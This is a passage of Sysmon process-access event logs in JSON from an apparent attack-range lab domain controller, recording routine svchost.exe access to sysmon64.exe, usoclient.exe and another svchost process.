11:59:40.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6284,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6285,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6286,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6287,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6288,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6289,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00101F250900}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\system32\\usoclient.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00101F250900}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\system32\\usoclient.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6290,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6291,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 